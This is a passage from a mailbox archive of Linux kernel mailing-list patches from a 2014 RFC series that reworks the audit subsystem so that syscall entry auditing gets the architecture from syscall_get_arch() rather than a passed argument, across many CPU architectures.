 		regs->u_regs[UREG_I0 + i + j] = args[j];
 }
 
+static inline int syscall_get_arch(struct task_struct *tsk,
+				   struct pt_regs *regs)
+{
+	return test_thread_flag(TIF_32BIT) ? AUDIT_ARCH_SPARC
+					   : AUDIT_ARCH_SPARC64;
+}
+
 #endif /* __ASM_SPARC_SYSCALL_H */
diff --git a/include/uapi/linux/audit.h b/include/uapi/linux/audit.h
index 2d48fe1..b9c4826 100644
--- a/include/uapi/linux/audit.h
+++ b/include/uapi/linux/audit.h
@@ -342,6 +342,7 @@ enum {
 #define AUDIT_ARCH_IA64		(EM_IA_64|__AUDIT_ARCH_64BIT|__AUDIT_ARCH_LE)
 #define AUDIT_ARCH_M32R		(EM_M32R)
 #define AUDIT_ARCH_M68K		(EM_68K)
+#define AUDIT_ARCH_MICROBLAZE	(EM_MICROBLAZE)
 #define AUDIT_ARCH_MIPS		(EM_MIPS)
 #define AUDIT_ARCH_MIPSEL	(EM_MIPS|__AUDIT_ARCH_LE)
 #define AUDIT_ARCH_MIPS64	(EM_MIPS|__AUDIT_ARCH_64BIT)
-- 
1.7.1




From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.redhat.security.audit,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 3/6][RFC] audit: __audit_syscall_entry: ignore arch arg and call syscall_get_arch() directly
Date: Wed,  5 Mar 2014 16:27:04 -0500
Lines: 190
Approved: news@gmane.org
Message-ID: <fc170f50376a56ea82d25fbf1587f64b76177e0f.1393974970.git.rgb@redhat.com>
References: <cover.1393974970.git.rgb@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1394054941 8077 80.91.229.3 (5 Mar 2014 21:29:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 21:29:01 +0000 (UTC)
Cc: Richard Guy Briggs <rgb@redhat.com>, eparis@redhat.com,
	sgrubb@redhat.com, oleg@redhat.com,
	linux-arm-kernel@lists.infradead.org, x86@kernel.org,
	linux-ia64@vger.kernel.org, microblaze-uclinux@itee.uq.edu.au,
	linux-mips@linux-mips.org, linux@openrisc.net,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arch@vger.kernel.org
To: linux-audit@redhat.com, linux-kernel@vger.kernel.org
Original-X-From: linux-sh-owner@vger.kernel.org Wed Mar 05 22:29:08 2014
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1WLJND-0005ze-Gd
	for glps-linuxsh-dev@plane.gmane.org; Wed, 05 Mar 2014 22:29:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757655AbaCEV3E (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 5 Mar 2014 16:29:04 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:59226 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754511AbaCEV27 (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Wed, 5 Mar 2014 16:28:59 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25LSMqb029393
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 5 Mar 2014 16:28:22 -0500
Original-Received: from madcap2.tricolour.ca (vpn-49-50.rdu2.redhat.com [10.10.49.50])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25LRupG018777;
	Wed, 5 Mar 2014 16:28:15 -0500
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
Original-References: <cover.1393974970.git.rgb@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:33103 gmane.linux.redhat.security.audit:5999 gmane.linux.kernel:1661230 gmane.linux.ports.arm.kernel:307104 gmane.linux.ports.ia64:23659 gmane.linux.ports.mips.general:40563 gmane.linux.ports.openrisc:429 gmane.linux.ports.parisc:5724 gmane.linux.ports.ppc64.devel:99954 gmane.linux.ports.sparc:18748 gmane.linux.uml.devel:14381 gmane.linux.kernel.cross-arch:21958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/33103>

Since all the callers of syscall_get_arch() presently pass "current" and none
of the arch-specific syscall_get_arch() implementations use the regs parameter,
ignore the passed in arch parameter to __audit_syscall_entry() and call
syscall_get_arch() directly.

Change the audit header file from the kernel internal to the user api version
to get the architecture numbers, but to avoid a circular header reference
between audit and syscall.h

Signed-off-by: Richard Guy Briggs <rgb@redhat.com>

---
 arch/arm/include/asm/syscall.h        |    2 +-
 arch/ia64/include/asm/syscall.h       |    2 +-
 arch/microblaze/include/asm/syscall.h |    2 +-
 arch/mips/include/asm/syscall.h       |    2 +-
 arch/openrisc/include/asm/syscall.h   |    2 +-
 arch/parisc/include/asm/syscall.h     |    2 +-
 arch/powerpc/include/asm/syscall.h    |    2 +-
 arch/s390/include/asm/syscall.h       |    2 +-
 arch/sh/include/asm/syscall.h         |    2 +-
 arch/sparc/include/asm/syscall.h      |    2 +-
 arch/x86/include/asm/syscall.h        |    2 +-
 kernel/auditsc.c                      |    2 +-
 12 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/syscall.h b/arch/arm/include/asm/syscall.h
index 73ddd72..a749123 100644
--- a/arch/arm/include/asm/syscall.h
+++ b/arch/arm/include/asm/syscall.h
@@ -7,7 +7,7 @@
 #ifndef _ASM_ARM_SYSCALL_H
 #define _ASM_ARM_SYSCALL_H
 
-#include <linux/audit.h> /* for AUDIT_ARCH_* */
+#include <uapi/linux/audit.h> /* for AUDIT_ARCH_* */
 #include <linux/elf.h> /* for ELF_EM */
 #include <linux/err.h>
 #include <linux/sched.h>
diff --git a/arch/ia64/include/asm/syscall.h b/arch/ia64/include/asm/syscall.h
index 0fd2a7a..9c82767 100644
--- a/arch/ia64/include/asm/syscall.h
+++ b/arch/ia64/include/asm/syscall.h
@@ -15,7 +15,7 @@
 
 #include <linux/sched.h>
 #include <linux/err.h>
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 
 static inline long syscall_get_nr(struct task_struct *task,
 				  struct pt_regs *regs)
diff --git a/arch/microblaze/include/asm/syscall.h b/arch/microblaze/include/asm/syscall.h
index 06854da..e1acf8a 100644
--- a/arch/microblaze/include/asm/syscall.h
+++ b/arch/microblaze/include/asm/syscall.h
@@ -3,7 +3,7 @@
 
 #include <linux/kernel.h>
 #include <linux/sched.h>
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 #include <asm/ptrace.h>
 
 /* The system call number is given by the user in R12 */
diff --git a/arch/mips/include/asm/syscall.h b/arch/mips/include/asm/syscall.h
index 41ecde4..a8234f2 100644
--- a/arch/mips/include/asm/syscall.h
+++ b/arch/mips/include/asm/syscall.h
@@ -13,7 +13,7 @@
 #ifndef __ASM_MIPS_SYSCALL_H
 #define __ASM_MIPS_SYSCALL_H
 
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 #include <linux/elf-em.h>
 #include <linux/kernel.h>
 #include <linux/sched.h>
diff --git a/arch/openrisc/include/asm/syscall.h b/arch/openrisc/include/asm/syscall.h
index 534b9c3..2bbe0e9 100644
--- a/arch/openrisc/include/asm/syscall.h
+++ b/arch/openrisc/include/asm/syscall.h
@@ -21,7 +21,7 @@
 
 #include <linux/err.h>
 #include <linux/sched.h>
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 
 static inline int
 syscall_get_nr(struct task_struct *task, struct pt_regs *regs)
diff --git a/arch/parisc/include/asm/syscall.h b/arch/parisc/include/asm/syscall.h
index b3b604f..2bf23b1 100644
--- a/arch/parisc/include/asm/syscall.h
+++ b/arch/parisc/include/asm/syscall.h
@@ -5,7 +5,7 @@
 
 #include <linux/err.h>
 #include <linux/compat.h>
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 #include <asm/ptrace.h>
 
 static inline long syscall_get_nr(struct task_struct *tsk,
diff --git a/arch/powerpc/include/asm/syscall.h b/arch/powerpc/include/asm/syscall.h
index b824eb2..36bd9ef 100644
--- a/arch/powerpc/include/asm/syscall.h
+++ b/arch/powerpc/include/asm/syscall.h
@@ -15,7 +15,7 @@
 
 #include <linux/sched.h>
 #include <linux/compat.h>
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 
 /* ftrace syscalls requires exporting the sys_call_table */
 #ifdef CONFIG_FTRACE_SYSCALLS
diff --git a/arch/s390/include/asm/syscall.h b/arch/s390/include/asm/syscall.h
index cd29d2f..79d1805 100644
--- a/arch/s390/include/asm/syscall.h
+++ b/arch/s390/include/asm/syscall.h
@@ -12,7 +12,7 @@
 #ifndef _ASM_SYSCALL_H
 #define _ASM_SYSCALL_H	1
 
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 #include <linux/sched.h>
 #include <linux/err.h>
 #include <asm/ptrace.h>
diff --git a/arch/sh/include/asm/syscall.h b/arch/sh/include/asm/syscall.h
index f1a79d4..33e60e0 100644
--- a/arch/sh/include/asm/syscall.h
+++ b/arch/sh/include/asm/syscall.h
@@ -9,7 +9,7 @@ extern const unsigned long sys_call_table[];
 # include <asm/syscall_64.h>
 #endif
 
-# include <linux/audit.h>
+# include <uapi/linux/audit.h>
 
 static inline int syscall_get_arch(struct task_struct *tsk,
 				   struct pt_regs *regs)
diff --git a/arch/sparc/include/asm/syscall.h b/arch/sparc/include/asm/syscall.h
index c7a8f75..eddc60e 100644
--- a/arch/sparc/include/asm/syscall.h
+++ b/arch/sparc/include/asm/syscall.h
@@ -3,7 +3,7 @@
 
 #include <linux/kernel.h>
 #include <linux/sched.h>
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 #include <asm/ptrace.h>
 
 /*
diff --git a/arch/x86/include/asm/syscall.h b/arch/x86/include/asm/syscall.h
index aea284b..c98e0ec 100644
--- a/arch/x86/include/asm/syscall.h
+++ b/arch/x86/include/asm/syscall.h
@@ -13,7 +13,7 @@
 #ifndef _ASM_X86_SYSCALL_H
 #define _ASM_X86_SYSCALL_H
 
-#include <linux/audit.h>
+#include <uapi/linux/audit.h>
 #include <linux/sched.h>
 #include <linux/err.h>
 #include <asm/asm-offsets.h>	/* For NR_syscalls */
diff --git a/kernel/auditsc.c b/kernel/auditsc.c
index 7317f46..0c9fe06 100644
--- a/kernel/auditsc.c
+++ b/kernel/auditsc.c
@@ -1461,7 +1461,7 @@ void __audit_syscall_entry(int arch, int major,
 	if (!audit_enabled)
 		return;
 
-	context->arch	    = arch;
+	context->arch	    = syscall_get_arch(current, NULL);
 	context->major      = major;
 	context->argv[0]    = a1;
 	context->argv[1]    = a2;
-- 
1.7.1

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.redhat.security.audit,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 4/6][RFC] audit: drop arch from audit_syscall_entry() interface
Date: Wed,  5 Mar 2014 16:27:05 -0500
Lines: 316
Approved: news@gmane.org
Message-ID: <9f2b0caedfee3018ab84d8bbe6e691bb40519d94.1393974970.git.rgb@redhat.com>
References: <cover.1393974970.git.rgb@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1394054961 8294 80.91.229.3 (5 Mar 2014 21:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 21:29:21 +0000 (UTC)
Cc: Richard Guy Briggs <rgb@redhat.com>, eparis@redhat.com,
	sgrubb@redhat.com, oleg@redhat.com,
	linux-arm-kernel@lists.infradead.org, x86@kernel.org,
	linux-ia64@vger.kernel.org, microblaze-uclinux@itee.uq.edu.au,
	linux-mips@linux-mips.org, linux@openrisc.net,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arch@vger.kernel.org
To: linux-audit@redhat.com, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 05 22:29:28 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WLJNW-0006Id-Cl
	for glk-linux-kernel-3@plane.gmane.org; Wed, 05 Mar 2014 22:29:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757698AbaCEV3K (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 5 Mar 2014 16:29:10 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:21092 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757660AbaCEV3G (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 5 Mar 2014 16:29:06 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25LSSvO010919
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 5 Mar 2014 16:28:28 -0500
Original-Received: from madcap2.tricolour.ca (vpn-49-50.rdu2.redhat.com [10.10.49.50])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25LRupH018777;
	Wed, 5 Mar 2014 16:28:22 -0500
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
Original-References: <cover.1393974970.git.rgb@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1661231 gmane.linux.redhat.security.audit:6000 gmane.linux.ports.arm.kernel:307105 gmane.linux.ports.ia64:23660 gmane.linux.ports.mips.general:40564 gmane.linux.ports.openrisc:430 gmane.linux.ports.parisc:5725 gmane.linux.ports.ppc64.devel:99955 gmane.linux.ports.sh.devel:33104 gmane.linux.ports.sparc:18749 gmane.linux.uml.devel:14382 gmane.linux.kernel.cross-arch:21959
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1661231>

Make audit_syscall_entry() ignore the arch parameter passed to it and call
syscall_get_arch() locally.

Remove arch from the audit_syscall_entry() parameter list.

Signed-off-by: Richard Guy Briggs <rgb@redhat.com>

---
 arch/arm/kernel/ptrace.c        |    2 +-
 arch/ia64/kernel/ptrace.c       |    2 +-
 arch/microblaze/kernel/ptrace.c |    2 +-
 arch/mips/kernel/ptrace.c       |    3 +--
 arch/openrisc/kernel/ptrace.c   |    2 +-
 arch/parisc/kernel/ptrace.c     |    5 ++---
 arch/powerpc/kernel/ptrace.c    |    6 ++----
 arch/s390/kernel/ptrace.c       |    4 +---
 arch/sh/kernel/ptrace_32.c      |   13 +------------
 arch/sh/kernel/ptrace_64.c      |   16 +---------------
 arch/sparc/kernel/ptrace_64.c   |    5 +----
 arch/um/kernel/ptrace.c         |    3 +--
 arch/x86/kernel/ptrace.c        |    6 ++----
 arch/xtensa/kernel/ptrace.c     |    2 +-
 include/linux/audit.h           |    8 +++++---
 15 files changed, 22 insertions(+), 57 deletions(-)

diff --git a/arch/arm/kernel/ptrace.c b/arch/arm/kernel/ptrace.c
index 0dd3b79..24664f5 100644
--- a/arch/arm/kernel/ptrace.c
+++ b/arch/arm/kernel/ptrace.c
@@ -943,7 +943,7 @@ asmlinkage int syscall_trace_enter(struct pt_regs *regs, int scno)
 	if (test_thread_flag(TIF_SYSCALL_TRACEPOINT))
 		trace_sys_enter(regs, scno);
 
-	audit_syscall_entry(AUDIT_ARCH_ARM, scno, regs->ARM_r0, regs->ARM_r1,
+	audit_syscall_entry(scno, regs->ARM_r0, regs->ARM_r1,
 			    regs->ARM_r2, regs->ARM_r3);
 
 	return scno;
diff --git a/arch/ia64/kernel/ptrace.c b/arch/ia64/kernel/ptrace.c
index b7a5fff..6f54d51 100644
--- a/arch/ia64/kernel/ptrace.c
+++ b/arch/ia64/kernel/ptrace.c
@@ -1219,7 +1219,7 @@ syscall_trace_enter (long arg0, long arg1, long arg2, long arg3,
 		ia64_sync_krbs();
 
 
-	audit_syscall_entry(AUDIT_ARCH_IA64, regs.r15, arg0, arg1, arg2, arg3);
+	audit_syscall_entry(regs.r15, arg0, arg1, arg2, arg3);
 
 	return 0;
 }
diff --git a/arch/microblaze/kernel/ptrace.c b/arch/microblaze/kernel/ptrace.c
index 39cf508..0abbb2e 100644
--- a/arch/microblaze/kernel/ptrace.c
+++ b/arch/microblaze/kernel/ptrace.c
@@ -147,7 +147,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 		 */
 		ret = -1L;
 
-	audit_syscall_entry(EM_MICROBLAZE, regs->r12, regs->r5, regs->r6,
+	audit_syscall_entry(regs->r12, regs->r5, regs->r6,
 			    regs->r7, regs->r8);
 
 	return ret ?: regs->r12;
diff --git a/arch/mips/kernel/ptrace.c b/arch/mips/kernel/ptrace.c
index b52e1d2..f68d75f 100644
--- a/arch/mips/kernel/ptrace.c
+++ b/arch/mips/kernel/ptrace.c
@@ -671,8 +671,7 @@ asmlinkage void syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->regs[2]);
 
-	audit_syscall_entry(__syscall_get_arch(),
-			    regs->regs[2],
+	audit_syscall_entry(regs->regs[2],
 			    regs->regs[4], regs->regs[5],
 			    regs->regs[6], regs->regs[7]);
 }
diff --git a/arch/openrisc/kernel/ptrace.c b/arch/openrisc/kernel/ptrace.c
index 71a2a0c..c19cd19 100644
--- a/arch/openrisc/kernel/ptrace.c
+++ b/arch/openrisc/kernel/ptrace.c
@@ -187,7 +187,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 		 */
 		ret = -1L;
 
-	audit_syscall_entry(AUDIT_ARCH_OPENRISC, regs->gpr[11],
+	audit_syscall_entry(regs->gpr[11],
 			    regs->gpr[3], regs->gpr[4],
 			    regs->gpr[5], regs->gpr[6]);
 
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index e842ee2..b2f84e2 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -276,13 +276,12 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 
 #ifdef CONFIG_64BIT
 	if (!is_compat_task())
-		audit_syscall_entry(AUDIT_ARCH_PARISC64,
-			regs->gr[20],
+		audit_syscall_entry(regs->gr[20],
 			regs->gr[26], regs->gr[25],
 			regs->gr[24], regs->gr[23]);
 	else
 #endif
-		audit_syscall_entry(AUDIT_ARCH_PARISC,
+		audit_syscall_entry(
 			regs->gr[20] & 0xffffffff,
 			regs->gr[26] & 0xffffffff,
 			regs->gr[25] & 0xffffffff,
diff --git a/arch/powerpc/kernel/ptrace.c b/arch/powerpc/kernel/ptrace.c
index 2e3d2bf..cabc1ca 100644
--- a/arch/powerpc/kernel/ptrace.c
+++ b/arch/powerpc/kernel/ptrace.c
@@ -1788,14 +1788,12 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 
 #ifdef CONFIG_PPC64
 	if (!is_32bit_task())
-		audit_syscall_entry(AUDIT_ARCH_PPC64,
-				    regs->gpr[0],
+		audit_syscall_entry(regs->gpr[0],
 				    regs->gpr[3], regs->gpr[4],
 				    regs->gpr[5], regs->gpr[6]);
 	else
 #endif
-		audit_syscall_entry(AUDIT_ARCH_PPC,
-				    regs->gpr[0],
+		audit_syscall_entry(regs->gpr[0],
 				    regs->gpr[3] & 0xffffffff,
 				    regs->gpr[4] & 0xffffffff,
 				    regs->gpr[5] & 0xffffffff,
diff --git a/arch/s390/kernel/ptrace.c b/arch/s390/kernel/ptrace.c
index e65c91c..2e2e7bb 100644
--- a/arch/s390/kernel/ptrace.c
+++ b/arch/s390/kernel/ptrace.c
@@ -812,9 +812,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->gprs[2]);
 
-	audit_syscall_entry(is_compat_task() ?
-				AUDIT_ARCH_S390 : AUDIT_ARCH_S390X,
-			    regs->gprs[2], regs->orig_gpr2,
+	audit_syscall_entry(regs->gprs[2], regs->orig_gpr2,
 			    regs->gprs[3], regs->gprs[4],
 			    regs->gprs[5]);
 out:
diff --git a/arch/sh/kernel/ptrace_32.c b/arch/sh/kernel/ptrace_32.c
index 668c816..313fb5a 100644
--- a/arch/sh/kernel/ptrace_32.c
+++ b/arch/sh/kernel/ptrace_32.c
@@ -484,17 +484,6 @@ long arch_ptrace(struct task_struct *child, long request,
 	return ret;
 }
 
-static inline int audit_arch(void)
-{
-	int arch = EM_SH;
-
-#ifdef CONFIG_CPU_LITTLE_ENDIAN
-	arch |= __AUDIT_ARCH_LE;
-#endif
-
-	return arch;
-}
-
 asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 {
 	long ret = 0;
@@ -513,7 +502,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->regs[0]);
 
-	audit_syscall_entry(audit_arch(), regs->regs[3],
+	audit_syscall_entry(regs->regs[3],
 			    regs->regs[4], regs->regs[5],
 			    regs->regs[6], regs->regs[7]);
 
diff --git a/arch/sh/kernel/ptrace_64.c b/arch/sh/kernel/ptrace_64.c
index af90339..0c58711 100644
--- a/arch/sh/kernel/ptrace_64.c
+++ b/arch/sh/kernel/ptrace_64.c
@@ -504,20 +504,6 @@ asmlinkage int sh64_ptrace(long request, long pid,
 	return sys_ptrace(request, pid, addr, data);
 }
 
-static inline int audit_arch(void)
-{
-	int arch = EM_SH;
-
-#ifdef CONFIG_64BIT
-	arch |= __AUDIT_ARCH_64BIT;
-#endif
-#ifdef CONFIG_CPU_LITTLE_ENDIAN
-	arch |= __AUDIT_ARCH_LE;
-#endif
-
-	return arch;
-}
-
 asmlinkage long long do_syscall_trace_enter(struct pt_regs *regs)
 {
 	long long ret = 0;
@@ -536,7 +522,7 @@ asmlinkage long long do_syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->regs[9]);
 
-	audit_syscall_entry(audit_arch(), regs->regs[1],
+	audit_syscall_entry(regs->regs[1],
 			    regs->regs[2], regs->regs[3],
 			    regs->regs[4], regs->regs[5]);
 
diff --git a/arch/sparc/kernel/ptrace_64.c b/arch/sparc/kernel/ptrace_64.c
index c13c9f2..915d35d 100644
--- a/arch/sparc/kernel/ptrace_64.c
+++ b/arch/sparc/kernel/ptrace_64.c
@@ -1076,10 +1076,7 @@ asmlinkage int syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->u_regs[UREG_G1]);
 
-	audit_syscall_entry((test_thread_flag(TIF_32BIT) ?
-			     AUDIT_ARCH_SPARC :
-			     AUDIT_ARCH_SPARC64),
-			    regs->u_regs[UREG_G1],
+	audit_syscall_entry(regs->u_regs[UREG_G1],
 			    regs->u_regs[UREG_I0],
 			    regs->u_regs[UREG_I1],
 			    regs->u_regs[UREG_I2],
diff --git a/arch/um/kernel/ptrace.c b/arch/um/kernel/ptrace.c
index 694d551..62435ef 100644
--- a/arch/um/kernel/ptrace.c
+++ b/arch/um/kernel/ptrace.c
@@ -165,8 +165,7 @@ static void send_sigtrap(struct task_struct *tsk, struct uml_pt_regs *regs,
  */
 void syscall_trace_enter(struct pt_regs *regs)
 {
-	audit_syscall_entry(HOST_AUDIT_ARCH,
-			    UPT_SYSCALL_NR(&regs->regs),
+	audit_syscall_entry(UPT_SYSCALL_NR(&regs->regs),
 			    UPT_SYSCALL_ARG1(&regs->regs),
 			    UPT_SYSCALL_ARG2(&regs->regs),
 			    UPT_SYSCALL_ARG3(&regs->regs),
diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c
index 7461f50..7499611 100644
--- a/arch/x86/kernel/ptrace.c
+++ b/arch/x86/kernel/ptrace.c
@@ -1488,14 +1488,12 @@ long syscall_trace_enter(struct pt_regs *regs)
 		trace_sys_enter(regs, regs->orig_ax);
 
 	if (IS_IA32)
-		audit_syscall_entry(AUDIT_ARCH_I386,
-				    regs->orig_ax,
+		audit_syscall_entry(regs->orig_ax,
 				    regs->bx, regs->cx,
 				    regs->dx, regs->si);
 #ifdef CONFIG_X86_64
 	else
-		audit_syscall_entry(AUDIT_ARCH_X86_64,
-				    regs->orig_ax,
+		audit_syscall_entry(regs->orig_ax,
 				    regs->di, regs->si,
 				    regs->dx, regs->r10);
 #endif
diff --git a/arch/xtensa/kernel/ptrace.c b/arch/xtensa/kernel/ptrace.c
index 562fac6..4d54b48 100644
--- a/arch/xtensa/kernel/ptrace.c
+++ b/arch/xtensa/kernel/ptrace.c
@@ -342,7 +342,7 @@ void do_syscall_trace_enter(struct pt_regs *regs)
 		do_syscall_trace();
 
 #if 0
-	audit_syscall_entry(current, AUDIT_ARCH_XTENSA..);
+	audit_syscall_entry(...);
 #endif
 }
 
diff --git a/include/linux/audit.h b/include/linux/audit.h
index aa865a9..0e63eb1 100644
--- a/include/linux/audit.h
+++ b/include/linux/audit.h
@@ -27,6 +27,8 @@
 #include <linux/ptrace.h>
 #include <uapi/linux/audit.h>
 
+#include <asm/syscall.h>
+
 struct audit_sig_info {
 	uid_t		uid;
 	pid_t		pid;
@@ -126,12 +128,12 @@ static inline void audit_free(struct task_struct *task)
 	if (unlikely(task->audit_context))
 		__audit_free(task);
 }
-static inline void audit_syscall_entry(int arch, int major, unsigned long a0,
+static inline void audit_syscall_entry(int major, unsigned long a0,
 				       unsigned long a1, unsigned long a2,
 				       unsigned long a3)
 {
 	if (unlikely(current->audit_context))
-		__audit_syscall_entry(arch, major, a0, a1, a2, a3);
+		__audit_syscall_entry(syscall_get_arch(current, NULL), major, a0, a1, a2, a3);
 }
 static inline void audit_syscall_exit(void *pt_regs)
 {
@@ -307,7 +309,7 @@ static inline int audit_alloc(struct task_struct *task)
 }
 static inline void audit_free(struct task_struct *task)
 { }
-static inline void audit_syscall_entry(int arch, int major, unsigned long a0,
+static inline void audit_syscall_entry(int major, unsigned long a0,
 				       unsigned long a1, unsigned long a2,
 				       unsigned long a3)
 { }
-- 
1.7.1


From - Thu Nov 08 21:10:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.redhat.security.audit,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 5/6][RFC] audit: drop args from syscall_get_arch() interface
Date: Wed,  5 Mar 2014 16:27:06 -0500
Lines: 295
Approved: news@gmane.org
Message-ID: <46abd0fd000ac83cf5c4344cdfe1e349a09cb565.1393974970.git.rgb@redhat.com>
References: <cover.1393974970.git.rgb@redhat.com>
